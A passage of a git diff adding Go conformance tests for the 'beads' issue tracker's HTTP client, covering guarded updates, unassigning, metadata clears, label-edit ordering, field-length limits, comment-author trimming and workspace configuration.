res, err := lifecycle.Update(ctx, onHolder); err != nil || !res.Changed { + t.Fatalf("edit guarded on the current holder = %#v, %v; want it applied", res, err) + } + if got := priority(); got != 2 { + t.Fatalf("priority after a satisfied assignee guard = %d, want 2", got) + } + + onNobody := edit(4) + onNobody.ExpectedAssignee = &unassigned + if _, err := lifecycle.Update(ctx, onNobody); !errors.Is(err, issueops.ErrAssigneeMismatch) { + t.Fatalf("edit guarded on unassigned against a held row: err = %v, want ErrAssigneeMismatch", err) + } + if got := priority(); got != 2 { + t.Errorf("priority after a stale assignee guard = %d, want 2 — the refusal wrote nothing", got) + } + + // VERSION, both polarities. The satisfied leg hands back the row's own token, + // which is the compare-and-set a caller that already read the row performs; + // the stale leg is a token no writer could have produced. + current := version() + onVersion := edit(3) + onVersion.ExpectedVersion = ¤t + if res, err := lifecycle.Update(ctx, onVersion); err != nil || !res.Changed { + t.Fatalf("edit guarded on the row's current version = %#v, %v; want it applied", res, err) + } + if got := priority(); got != 3 { + t.Fatalf("priority after a satisfied version guard = %d, want 3", got) + } + + after := version() + staleVersion := after + 1 + onStale := edit(4) + onStale.ExpectedVersion = &staleVersion + if _, err := lifecycle.Update(ctx, onStale); !errors.Is(err, issueops.ErrVersionMismatch) { + t.Fatalf("edit guarded on a stale version: err = %v, want ErrVersionMismatch", err) + } + if got := priority(); got != 3 { + t.Errorf("priority after a stale version guard = %d, want 3 — the refusal wrote nothing", got) + } + // The refusal wrote nothing AT ALL, the token included: a guard that + // reminted row_lock on its way to refusing would make the caller's next + // read-and-retry lose a second time for a reason it could never see. + if got := version(); got != after { + t.Errorf("row version after a refused guarded update = %d, want %d unchanged", got, after) + } + + // ALL THREE AT ONCE, with the LAST one stale. Every refusal above puts the + // stale guard alone, so a body that stopped at the first present + // precondition would answer all of them correctly and let this one through. + together := edit(4) + together.ExpectedVersion = &after + together.ExpectedAssignee = &holder + together.ExpectedStatus = &closed + if _, err := lifecycle.Update(ctx, together); !errors.Is(err, issueops.ErrStatusMismatch) { + t.Fatalf("edit with two holding guards and a stale status: err = %v, want ErrStatusMismatch", err) + } + if got := priority(); got != 3 { + t.Errorf("priority after a stale guard behind two holding ones = %d, want 3", got) + } +} + +// TestServedUpdateUnassignsThroughTheEmptyAssignee is the empty string's own +// end-to-end proof, and it exists because nothing else was one. +// +// The client unit pins that "" reaches the patch document and the role contract +// pins that an unassign clears the holder, but until this ran NO case drove +// Assignee{Set: true, Value: ""} client → bd serve → role and read the row back: +// the two halves were proved on opposite sides of a wire that has to carry a +// PRESENT EMPTY member for either to matter. `parent_id`, whose empty string +// means the same kind of thing, got both polarities served through its own +// contracts; this member had no contract to inherit one from, because the role +// tier reaches an unassign only through cases that seed with Claim. +// +// THE SECOND ARM IS THE FALSIFIABLE ONE. A client that skipped the member +// because its value was empty fails the first arm LOUDLY — the document would +// be empty and the request would never dial — but that is not the shape the +// silent-no-edit trap takes. The trap is an unassign travelling BESIDE another +// edit: the other edit lands, the server answers 200, and only a read of the +// assignee can tell that the part the caller cared about was dropped. +func TestServedUpdateUnassignsThroughTheEmptyAssignee(t *testing.T) { + env := newServedEnv(t, "hlua") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + seed := func(id, holder string) { + t.Helper() + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Assignee: holder, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + assignee := func(id string) string { + t.Helper() + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + return row.Assignee + } + + t.Run("alone", func(t *testing.T) { + const id = "hlua-alone" + seed(id, "holder") + + unassign := issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Assignee: issueops.Field[string]{Set: true}}, + } + res, err := lifecycle.Update(ctx, unassign) + if err != nil { + t.Fatalf("unassign %s: %v", id, err) + } + if !res.Changed { + t.Error("the unassign reported Changed = false; it moved the holder off the row") + } + if got := assignee(id); got != "" { + t.Fatalf("%s is still held by %q; the empty assignee did not reach the row", id, got) + } + // The result is the post-state snapshot, so it has to agree with the + // row rather than echo the request. + if res.Issue == nil || res.Issue.Assignee != "" { + t.Errorf("the result still reports an assignee: %#v", res.Issue) + } + + // A SECOND unassign is a same-value patch, not a second edit: the + // server answers 200 with changed:false and touches nothing, which is + // the idempotence every other member on this surface promises. + repeat, err := lifecycle.Update(ctx, unassign) + if err != nil { + t.Fatalf("re-unassign %s: %v", id, err) + } + if repeat.Changed { + t.Error("re-unassigning an unheld row reported Changed = true; it restated the current value") + } + if got := assignee(id); got != "" { + t.Errorf("%s picked an assignee back up: %q", id, got) + } + }) + + t.Run("beside another edit", func(t *testing.T) { + const id = "hlua-beside" + seed(id, "holder") + + res, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{ + Assignee: issueops.Field[string]{Set: true}, + Priority: issueops.Field[int]{Set: true, Value: 0}, + }, + }) + if err != nil { + t.Fatalf("unassign %s beside a priority edit: %v", id, err) + } + if !res.Changed { + t.Error("the combined edit reported Changed = false") + } + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + // The priority is the DECOY: it lands whether or not the assignee did, + // so a dropped unassign leaves a request that looks entirely successful. + if row.Priority != 0 { + t.Errorf("%s priority = %d, want 0", id, row.Priority) + } + if row.Assignee != "" { + t.Fatalf("%s is still held by %q while the priority edit beside it landed — "+ + "this is the silent no-edit the empty string exists to prevent", id, row.Assignee) + } + }) +} + +// TestServedUpdateMetadataClearAgreesWithALocalClear is the CLEAR's end-to-end +// proof, and it is a DIFFERENTIAL rather than an assertion about bytes. +// +// The clear is the one state the wire's own struct cannot spell — `omitempty` +// omits a set-but-empty replacement — so the client substitutes the empty +// document, which is what the role's own ApplyMetadataPatch substitutes before +// it writes. Both substitutions were verified by reading the two sources; what +// no case did was run the request through the wire and compare the row it left +// against the row the SAME request leaves locally. A substitution that was wrong +// in the same way on both sides would satisfy a golden value and fail this. +func TestServedUpdateMetadataClearAgreesWithALocalClear(t *testing.T) { + env := newServedEnv(t, "hlmc") + ctx := t.Context() + remote, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + // The reference store's OWN role, which is what a local workspace runs. It + // is the control arm, so it is deliberately not the subject. + local, err := env.reference.IssueLifecycle() + if err != nil { + t.Fatalf("reference IssueLifecycle(): %v", err) + } + + const seeded = `{"gc.lease":"win44","phase":"held"}` + clear := func(id string, through issueops.Lifecycle) *types.Issue { + t.Helper() + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Metadata: json.RawMessage(seeded), + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + res, err := through.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Metadata: issueops.MetadataPatch{ + // SET with no bytes: the clear as the role spells it. + Replace: issueops.Field[json.RawMessage]{Set: true}, + }}, + }) + if err != nil { + t.Fatalf("clear the metadata of %s: %v", id, err) + } + if !res.Changed { + t.Errorf("clearing %s reported Changed = false; the row held %s", id, seeded) + } + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + return row + } + + overWire := clear("hlmc-remote", remote) + locally := clear("hlmc-local", local) + + // Compared as DOCUMENTS, because absent, empty and `{}` are one value on + // the way out and the role says so — a byte comparison would fail on a + // difference no reader of this plane can observe. + document := func(label string, row *types.Issue) any { + t.Helper() + raw := row.Metadata + if len(raw) == 0 { + raw = json.RawMessage(`{}`) + } + var out any + if err := json.Unmarshal(raw, &out); err != nil { + t.Fatalf("%s metadata %s: %v", label, raw, err) + } + return out + } + got, want := document("cleared over the wire", overWire), document("cleared locally", locally) + if !reflect.DeepEqual(got, want) { + t.Errorf("a CLEAR through the client left %s; the same request run locally left %s", + overWire.Metadata, locally.Metadata) + } + // And the clear really cleared: a differential alone would pass on two + // backends that both did nothing. + if !reflect.DeepEqual(got, map[string]any{}) { + t.Errorf("the cleared row still carries %s", overWire.Metadata) + } +} + +// TestServedUpdateAppliesTheOrderedLabelEditServerSide is the incremental label +// edit end to end, and it is a bespoke case because no contract covers it here. +// +// The two role contracts that pin the algebra — RunIssueOperationsUpdateLabelPatchOrdering +// and its value-rules sibling — belong to the IssueOperations family, which this +// leg does not wire at all, so wiring add_labels and remove_labels retires a +// ledger row (W-IssuePatch.Labels) without adopting a single case. A retired +// refusal with no positive assertion behind it is exactly the shape that lets a +// member stop being refused and never start being sent. +// +// WHAT ONLY A SERVER CAN SAY is the ORDER. The client sends three flat members +// and the server assembles them into ONE issueops.LabelPatch, applying replace, +// then add, then remove — so REMOVAL WINS where a label appears in more than +// one. That algebra is never this client's to arrange, and the only way to know +// the three members reach one patch rather than three sequential edits is to +// send a request whose arms CONTRADICT each other and read the answer. +// +// The concurrent-writer case is the reason the pair exists at all: the add is +// read back against a label another writer added between the seed and the edit, +// which a read-modify-write onto the replace-only member would have dropped. +func TestServedUpdateAppliesTheOrderedLabelEditServerSide(t *testing.T) { + env := newServedEnv(t, "hlbl") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + labels := func(id string) []string { + t.Helper() + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + out := append([]string(nil), row.Labels...) + sort.Strings(out) + return out + } + seed := func(id string, initial ...string) { + t.Helper() + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Labels: initial, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + + t.Run("an incremental add keeps what another writer added", func(t *testing.T) { + const id = "hlbl-add" + seed(id, "original") + // The concurrent writer, out of band: a client composing this edit from a + // read and a whole-set write would have read the set BEFORE this landed. + if err := env.exec(ctx, []conformance.SQLStatement{ + {Query: "INSERT INTO labels (issue_id, label) VALUES (?, ?)", Args: []any{id, "meanwhile"}}, + }); err != nil { + t.Fatalf("seed the concurrent label: %v", err) + } + + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Add: []string{"mine"}}}, + }); err != nil { + t.Fatalf("add a label to %s: %v", id, err) + } + if got, want := labels(id), []string{"meanwhile", "mine", "original"}; !slices.Equal(got, want) { + t.Errorf("%s carries %v, want %v: an incremental add adds, and drops nothing it did not name", id, got, want) + } + }) + + t.Run("an incremental remove leaves the rest alone", func(t *testing.T) { + const id = "hlbl-remove" + seed(id, "keep", "drop") + + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Remove: []string{"drop", "never-carried"}}}, + }); err != nil { + t.Fatalf("remove a label from %s: %v", id, err) + } + if got, want := labels(id), []string{"keep"}; !slices.Equal(got, want) { + t.Errorf("%s carries %v, want %v: removing a label the row does not carry changes nothing and is not an error", id, got, want) + } + }) + + t.Run("removal wins over replace and add in one request", func(t *testing.T) { + const id = "hlbl-order" + seed(id, "stale") + + // Every arm names `contested`, which is what makes the order OBSERVABLE: + // replace-then-add-then-remove leaves it off, and any other order leaves + // it on. `survivor` is the control — added and never removed — so a + // request the server dropped whole cannot pass. + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{ + Replace: issueops.Field[[]string]{Set: true, Value: []string{"contested", "base"}}, + Add: []string{"contested", "survivor"}, + Remove: []string{"contested"}, + }}, + }); err != nil { + t.Fatalf("apply the ordered edit to %s: %v", id, err) + } + if got, want := labels(id), []string{"base", "survivor"}; !slices.Equal(got, want) { + t.Errorf("%s carries %v, want %v: the three members are ONE patch applied replace, add, remove — "+ + "`contested` is named by all three and removal wins, and `stale` is gone because the replace ran first", id, got, want) + } + }) +} + +// TestServedUpdateFieldLengthBoundsAreTheServersAndNotThisClients is +// L-update-fieldlen's pin, and it RUNS. +// +// The bound is the same one on both sides — types.MaxFieldLen, checked with the +// same types.CheckFieldLen — and that is what makes the divergence a pure +// CLASSIFICATION loss rather than a difference about what may be stored. The +// operation applies it at the edge, before the role, and spells the refusal as +// the `invalid_argument`/`invalid_value` pair every malformed member on the +// patch earns, so nothing on the wire tells "too long" from "not a status" and +// reconstructing ErrFieldTooLong would misclassify every other refusal of the +// same member. +// +// THE CEILING IS ASSERTED FIRST, for the reason the config-bounds pin gives: +// without it the case would pass against a client that refused every label, and +// what makes this a bound rather than a blanket is that exactly MaxFieldLen +// characters land. +// +// The reference store is driven through its OWN Lifecycle role so "the two legs +// differ" is OBSERVED rather than asserted — and so the day the two agree, this +// fails and the row retires rather than outliving its reason. +func TestServedUpdateFieldLengthBoundsAreTheServersAndNotThisClients(t *testing.T) { + env := newServedEnv(t, "hlfl") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + reference, err := env.reference.IssueLifecycle() + if err != nil { + t.Fatalf("the reference store's IssueLifecycle(): %v", err) + } + + const subject, control = "hlfl-subject", "hlfl-control" + seedServedIssue(t, ctx, env, subject, types.StatusOpen) + seedServedIssue(t, ctx, env, control, types.StatusOpen) + + atCeiling := strings.Repeat("x", types.MaxFieldLen) + past := strings.Repeat("x", types.MaxFieldLen+1) + addLabel := func(id, label string) issueops.UpdateRequest { + return issueops.UpdateRequest{Actor: "writer", IssueID: id, Patch: issueops.IssuePatch{ + Labels: issueops.LabelPatch{Add: []string{label}}, + }} + } + + if _, err := lifecycle.Update(ctx, addLabel(subject, atCeiling)); err != nil { + t.Fatalf("a label of exactly %d characters was refused: %v", types.MaxFieldLen, err) + } + + overlong := func(t *testing.T, err error) { + t.Helper() + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("a member one character past the column = %v, want ErrValidation carried back from the operation's 400", err) + } + if errors.Is(err, types.ErrFieldTooLong) { + t.Error("the refusal carries ErrFieldTooLong; L-update-fieldlen says the wire's invalid_value cannot express it — retire the row rather than the assertion") + } + } + _, err = lifecycle.Update(ctx, addLabel(subject, past)) + overlong(t, err) + _, err = lifecycle.Update(ctx, issueops.UpdateRequest{Actor: "writer", IssueID: subject, Patch: issueops.IssuePatch{ + Title: issueops.Field[string]{Set: true, Value: past}, + }}) + overlong(t, err) + + // Nothing landed. A column that truncates silently is the failure this + // bound exists to prevent, so the check is for a row with the prefix rather + // than for the value itself. + var truncated int + if err := env.queryScalar(ctx, + "SELECT COUNT(*) FROM labels WHERE issue_id = ? AND label = ?", []any{subject, past}, &truncated); err != nil { + t.Fatalf("look for the refused label on %s: %v", subject, err) + } + if truncated != 0 { + t.Errorf("%s carries %d row(s) for the refused label, want none", subject, truncated) + } + + // The other leg, through its own role: the same request is ErrFieldTooLong + // there. The day it stops being, the two legs agree and the row is done. + if _, refErr := reference.Update(ctx, addLabel(control, past)); !errors.Is(refErr, types.ErrFieldTooLong) { + t.Errorf("the reference store answered %v for the same over-long label, want ErrFieldTooLong; "+ + "if the two legs now classify it alike, L-update-fieldlen has retired and this pin should go with it", refErr) + } +} diff --git a/internal/httpclient/served_commenter_test.go b/internal/httpclient/served_commenter_test.go new file mode 100644 index 000000000..0449f72dc --- /dev/null +++ b/internal/httpclient/served_commenter_test.go @@ -0,0 +1,196 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_commenter_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Commenter contract, run through the http client against a real bd serve. +// +// NOTHING IS PARKED HERE: the request has three members, one of which is the +// path, and the answer has one, so there is no filter to drop and no shape for a +// refusal to hide in — the whole thirteen-case tier runs. +// +// THAT IS NOT THE SAME AS "NO DIVERGENCE", and one lives on the AUTHOR. The +// operation applies the `actor` rules to it — trim, then refuse a control rune — +// and passes the trimmed value on, while the role itself only checks the field +// is non-empty and stores what it was given. So the same request stores a +// different value on the two legs, and a value one leg stores the other refuses. +// No contract case reaches it, which is exactly why it needs a pin of its own: +// L-comment-author, asserted below by +// TestServedCommentAuthorTakesTheServersActorRule. +// +// TWO OF THE THIRTEEN ARE WHY THIS TIER EXISTS RATHER THAN A UNIT TEST. +// +// - THE WISP PLANE. `CommentOnAWispLandsOnTheWispThread` writes through the +// client to an EPHEMERAL anchor and reads the row back out of wisp_comments +// raw. Nothing above the storage seam picks that plane: the operation +// resolves the anchor inside the transaction it writes in, so the only way to +// know the comment landed on the ephemeral thread is to look at the ephemeral +// table — which a client cannot do and this harness can. +// - THE ABSENT DURABLE TRACE. `RecordsExactlyOneHistoryEntry` measures the +// version history around the call: exactly one entry for a durable comment +// and exactly ZERO for an ephemeral one, because the wisp tables are +// dolt-ignored. That is a fact about what the server did NOT write, and no +// answer this client receives carries it. +// +// THE 1 MiB BOUND IS ONE NUMBER ON BOTH PLANES ONLY BECAUSE OF MIGRATION 0065, +// which widened wisp_comments.text from TEXT's 65535 bytes to match the durable +// column. Before it, this operation — which resolves its anchor across both +// planes — put a caller under a bound that depended on which plane its id +// happened to name, with nothing above the storage seam able to say which. There +// is no client-side length check to add; the fix was the column, and the cases +// below exercise both planes through the same body. +// +// SEEDING STAYS ON THE REFERENCE STORE even though this client now HAS a +// Commenter. That is the harness rule and it bites hardest exactly here: a +// Commenter contract whose preconditions were seeded through the Commenter under +// test would prove only that the client agrees with itself. + +func newServedCommenterFixture(t *testing.T, prefix string) conformance.CommenterFixture { + t.Helper() + env := newServedEnv(t, prefix) + commenter, err := env.subject.Commenter() + if err != nil { + t.Fatalf("Commenter(): %v", err) + } + return conformance.CommenterFixture{ + IssuePrefix: env.prefix, + Commenter: commenter, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + SeedCommentAt: env.seedCommentAt, + } +} + +func TestServedCommenterContract(t *testing.T) { + fixture := newServedCommenterFixture(t, "hcm") + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.CommenterFixture) + }{ + {"StoresTextVerbatim", conformance.RunCommenterStoresTextVerbatim}, + {"ResultMirrorsTheStoredRow", conformance.RunCommenterResultMirrorsTheStoredRow}, + {"AdvancesALiveStampPastTheThreadsNewestComment", conformance.RunCommenterAdvancesALiveStampPastTheThreadsNewestComment}, + {"TakesTheClockWhenTheThreadIsBehindIt", conformance.RunCommenterTakesTheClockWhenTheThreadIsBehindIt}, + {"CommentOnAWispLandsOnTheWispThread", conformance.RunCommenterCommentOnAWispLandsOnTheWispThread}, + {"RefusesAnIDOnNeitherPlane", conformance.RunCommenterRefusesAnIDOnNeitherPlane}, + {"RefusesAnEmptyIssueID", conformance.RunCommenterRefusesAnEmptyIssueID}, + {"DoesNotResolvePrefixes", conformance.RunCommenterDoesNotResolvePrefixes}, + {"RecordsExactlyOneHistoryEntry", conformance.RunCommenterRecordsExactlyOneHistoryEntry}, + {"LeavesTheAnchorIssueUntouched", conformance.RunCommenterLeavesTheAnchorIssueUntouched}, + {"RefusesBlankText", conformance.RunCommenterRefusesBlankText}, + {"RefusesAnEmptyAuthor", conformance.RunCommenterRefusesAnEmptyAuthor}, + {"LeavesTheCallersRequestAlone", conformance.RunCommenterLeavesTheCallersRequestAlone}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +// TestServedCommentAuthorTakesTheServersActorRule is L-comment-author's pin, and +// it RUNS. +// +// BOTH HALVES, because they are one rule with two consequences and a pin that +// checked one would let the other rot. The stored half is read RAW out of the +// comments table rather than off the result: a body that trimmed on the way in +// and echoed the caller's own string back would pass a result-only check, which +// is the same trap the contract's own verbatim-text case is written around. +// +// The premise is asserted before the divergence is: the reference store is asked +// the SAME question through its own Commenter, so "the two legs differ" is a +// measurement rather than an assumption. Without it a server that stopped +// trimming and a role that started would both read as this test passing. +func TestServedCommentAuthorTakesTheServersActorRule(t *testing.T) { + env := newServedEnv(t, "hcma") + commenter, err := env.subject.Commenter() + if err != nil { + t.Fatalf("Commenter(): %v", err) + } + reference, err := env.reference.Commenter() + if err != nil { + t.Fatalf("reference Commenter(): %v", err) + } + ctx := t.Context() + + served, local := env.prefix+"-served", env.prefix+"-local" + for _, id := range []string{served, local} { + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: "author rule", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + + // ── The stored value ─────────────────────────────────────────────────── + const padded = " Ada Lovelace " + const trimmed = "Ada Lovelace" + + if _, err := commenter.AddComment(ctx, issueops.AddCommentRequest{ + Author: padded, IssueID: served, Text: "over the wire", + }); err != nil { + t.Fatalf("AddComment over http: %v", err) + } + if got := servedCommentAuthor(t, ctx, env, served); got != trimmed { + t.Errorf("the http leg stored author %q, want %q — the operation applies the actor rule's trim (L-comment-author)", got, trimmed) + } + + if _, err := reference.AddComment(ctx, issueops.AddCommentRequest{ + Author: padded, IssueID: local, Text: "through the reference role", + }); err != nil { + t.Fatalf("AddComment through the reference store: %v", err) + } + if got := servedCommentAuthor(t, ctx, env, local); got != padded { + t.Errorf("the local leg stored author %q, want %q verbatim; if this leg started trimming too, "+ + "L-comment-author has retired and the row should go rather than this test being relaxed", got, padded) + } + + // ── The refusal ──────────────────────────────────────────────────────── + // + // A C1 introducer, which is the value the server's rule exists for: it lands + // in a column every renderer of the thread prints. + const escaping = "ada\x1b[31m" + + err = func() error { + _, err := commenter.AddComment(ctx, issueops.AddCommentRequest{ + Author: escaping, IssueID: served, Text: "refused", + }) + return err + }() + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("AddComment with a control rune over http = %v, want ErrValidation", err) + } + + if _, err := reference.AddComment(ctx, issueops.AddCommentRequest{ + Author: escaping, IssueID: local, Text: "stored", + }); err != nil { + t.Fatalf("AddComment with a control rune through the reference store = %v, want it STORED; "+ + "if the role started refusing this too, L-comment-author has retired", err) + } +} + +// servedCommentAuthor reads the newest comment's author column raw, which is the +// only place the stored value can be observed: the role's own result echoes what +// the write produced, and this case is about what LANDED. +func servedCommentAuthor(t *testing.T, ctx context.Context, env *servedEnv, issueID string) string { + t.Helper() + var author string + if err := env.queryScalar(ctx, + "SELECT author FROM comments WHERE issue_id = ? ORDER BY id DESC LIMIT 1", []any{issueID}, + &author); err != nil { + t.Fatalf("read the stored author for %s: %v", issueID, err) + } + return author +} diff --git a/internal/httpclient/served_config_test.go b/internal/httpclient/served_config_test.go new file mode 100644 index 000000000..3df9eacfe --- /dev/null +++ b/internal/httpclient/served_config_test.go @@ -0,0 +1,140 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_config_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The WorkspaceConfig contract against the served surface — the WHOLE tier, +// reads and writes, now that #5596's two verbs are wired. +// +// IT USED TO BE HAND-WRITTEN, and the reason it was is worth recording rather +// than deleting: every case in the shared suite writes through the role, this +// backend's writes refused, so adopting the tier would have parked twenty-one +// cases to run four. What stood in its place asserted the subset a refusing +// backend could reach. Client wave ga-jpywb wires SetSetting and UnsetSetting, +// so the suite is adoptable whole and the stand-in is gone — it asserted a +// strict subset of what runs below, which is the retirement condition a +// stand-in should have. +// +// ONE ENVIRONMENT FOR THE WHOLE SUITE, and here that is a correctness +// requirement rather than a saving, exactly as it is on the two store legs: +// config keys are global to a workspace, the two projected keys are written by +// NAME (their whole point is that those exact names project), and the +// refused-write case takes a history delta. All three need the subtests +// sequential over one plane. +func TestServedWorkspaceConfigContract(t *testing.T) { + e := newServedEnv(t, "hwcfg") + ctx := t.Context() + fixture := newServedWorkspaceConfigFixture(t, e) + + t.Run("StoresAValueVerbatim", func(t *testing.T) { + conformance.RunWorkspaceConfigStoresAValueVerbatim(t, ctx, fixture) + }) + t.Run("ReplacesAnExistingValue", func(t *testing.T) { + conformance.RunWorkspaceConfigReplacesAnExistingValue(t, ctx, fixture) + }) + t.Run("ConflatesAnUnsetKeyWithAnEmptyValue", func(t *testing.T) { + conformance.RunWorkspaceConfigConflatesAnUnsetKeyWithAnEmptyValue(t, ctx, fixture) + }) + t.Run("ListsEveryStoredSetting", func(t *testing.T) { + conformance.RunWorkspaceConfigListsEveryStoredSetting(t, ctx, fixture) + }) + t.Run("ListExcludesTheKVPlane", func(t *testing.T) { + conformance.RunWorkspaceConfigListExcludesTheKVPlane(t, ctx, fixture) + }) + t.Run("PointReadRefusesTheKVPlane", func(t *testing.T) { + conformance.RunWorkspaceConfigPointReadRefusesTheKVPlane(t, ctx, fixture) + }) + t.Run("UnsetRemovesTheSetting", func(t *testing.T) { + conformance.RunWorkspaceConfigUnsetRemovesTheSetting(t, ctx, fixture) + }) + t.Run("UnsetOfAnAbsentKeySucceeds", func(t *testing.T) { + conformance.RunWorkspaceConfigUnsetOfAnAbsentKeySucceeds(t, ctx, fixture) + }) + t.Run("RefusesAnEmptyKey", func(t *testing.T) { + conformance.RunWorkspaceConfigRefusesAnEmptyKey(t, ctx, fixture) + }) + t.Run("RefusesTheProtectedKeyOnSet", func(t *testing.T) { + conformance.RunWorkspaceConfigRefusesTheProtectedKeyOnSet(t, ctx, fixture) + }) + t.Run("UnsetDoesNotRefuseTheProtectedKey", func(t *testing.T) { + conformance.RunWorkspaceConfigUnsetDoesNotRefuseTheProtectedKey(t, ctx, fixture) + }) + t.Run("RefusesAnUnparseableCustomStatus", func(t *testing.T) { + conformance.RunWorkspaceConfigRefusesAnUnparseableCustomStatus(t, ctx, fixture) + }) + t.Run("ProjectsCustomStatuses", func(t *testing.T) { + conformance.RunWorkspaceConfigProjectsCustomStatuses(t, ctx, fixture) + }) + t.Run("ProjectsCustomTypes", func(t *testing.T) { + conformance.RunWorkspaceConfigProjectsCustomTypes(t, ctx, fixture) + }) + t.Run("UnsetLeavesTheProjectionBehind", func(t *testing.T) { + conformance.RunWorkspaceConfigUnsetLeavesTheProjectionBehind(t, ctx, fixture) + }) + t.Run("ARefusedWriteRecordsNoHistory", func(t *testing.T) { + conformance.RunWorkspaceConfigARefusedWriteRecordsNoHistory(t, ctx, fixture) + }) + t.Run("KeysAreCaseSensitive", func(t *testing.T) { + conformance.RunWorkspaceConfigKeysAreCaseSensitive(t, ctx, fixture) + }) + t.Run("CustomStatusReadsAreOrderedByName", func(t *testing.T) { + conformance.RunWorkspaceConfigCustomStatusReadsAreOrderedByName(t, ctx, fixture) + }) + t.Run("CustomTypeReadsAreOrderedByName", func(t *testing.T) { + conformance.RunWorkspaceConfigCustomTypeReadsAreOrderedByName(t, ctx, fixture) + }) + t.Run("ConfiguredInfraTypesReplaceTheDefaultSet", func(t *testing.T) { + conformance.RunWorkspaceConfigConfiguredInfraTypesReplaceTheDefaultSet(t, ctx, fixture) + }) + t.Run("UnconfiguredVocabularyReadsAreEmptyNotErrors", func(t *testing.T) { + conformance.RunWorkspaceConfigUnconfiguredVocabularyReadsAreEmptyNotErrors(t, ctx, fixture) + }) +} + +// newServedWorkspaceConfigFixture binds the ROLE to the client and everything +// else to the reference store, which is this harness's standing rule. +// +// THE VOCABULARY READER IS THE ONE EXCEPTION, and it is the same exception the +// ReadyClaimer fixture makes for its Reader: the three reads it holds are the +// SUBJECT's own (vocabulary.go), so the projection cases compare two of this +// client's surfaces — a write through the role, and a vocabulary read that goes +// back over the wire for the key it wrote — against each other. Binding the +// server's would compare the server to itself and prove nothing about the +// client. +func newServedWorkspaceConfigFixture(t *testing.T, e *servedEnv) conformance.WorkspaceConfigFixture { + t.Helper() + settings, err := e.subject.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + // The protected-key cases need an issue_prefix to remove and restore, and + // they need it written PAST the role, which refuses to write it. newServedEnv + // already seeds one through the reference store; this restates it so the + // fixture does not depend on the harness's own seeding order. + if err := e.setConfig(t.Context(), "issue_prefix", e.prefix); err != nil { + t.Fatalf("seed issue_prefix: %v", err) + } + return conformance.WorkspaceConfigFixture{ + IssuePrefix: e.prefix, + WorkspaceConfig: settings, + SetConfig: e.setConfig, + QueryScalar: e.queryScalar, + CountHistory: e.countHistory, + Vocabulary: &conformance.WorkspaceVocabularyReader{ + CustomStatuses: e.subject.GetCustomStatusesDetailed, + CustomTypes: e.subject.GetCustomTypes, + InfraTypes: func(ctx context.Context) (map[string]bool, error) { + return e.subject.GetInfraTypes(ctx), nil + }, + }, + } +} diff --git a/internal/httpclient/served_config_write_test.go b/internal/httpclient/served_config_write_test.go new file mode 100644 index 000000000..3596dff56 --- /dev/null +++ b/internal/httpclient/served_config_write_test.go @@ -0,0 +1,236 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_config_write_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "strings" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The three claims about the config WRITE half that the shared contract cannot +// make, because each of them is about something only THIS leg has: an operation +// that redacts its own answer, an 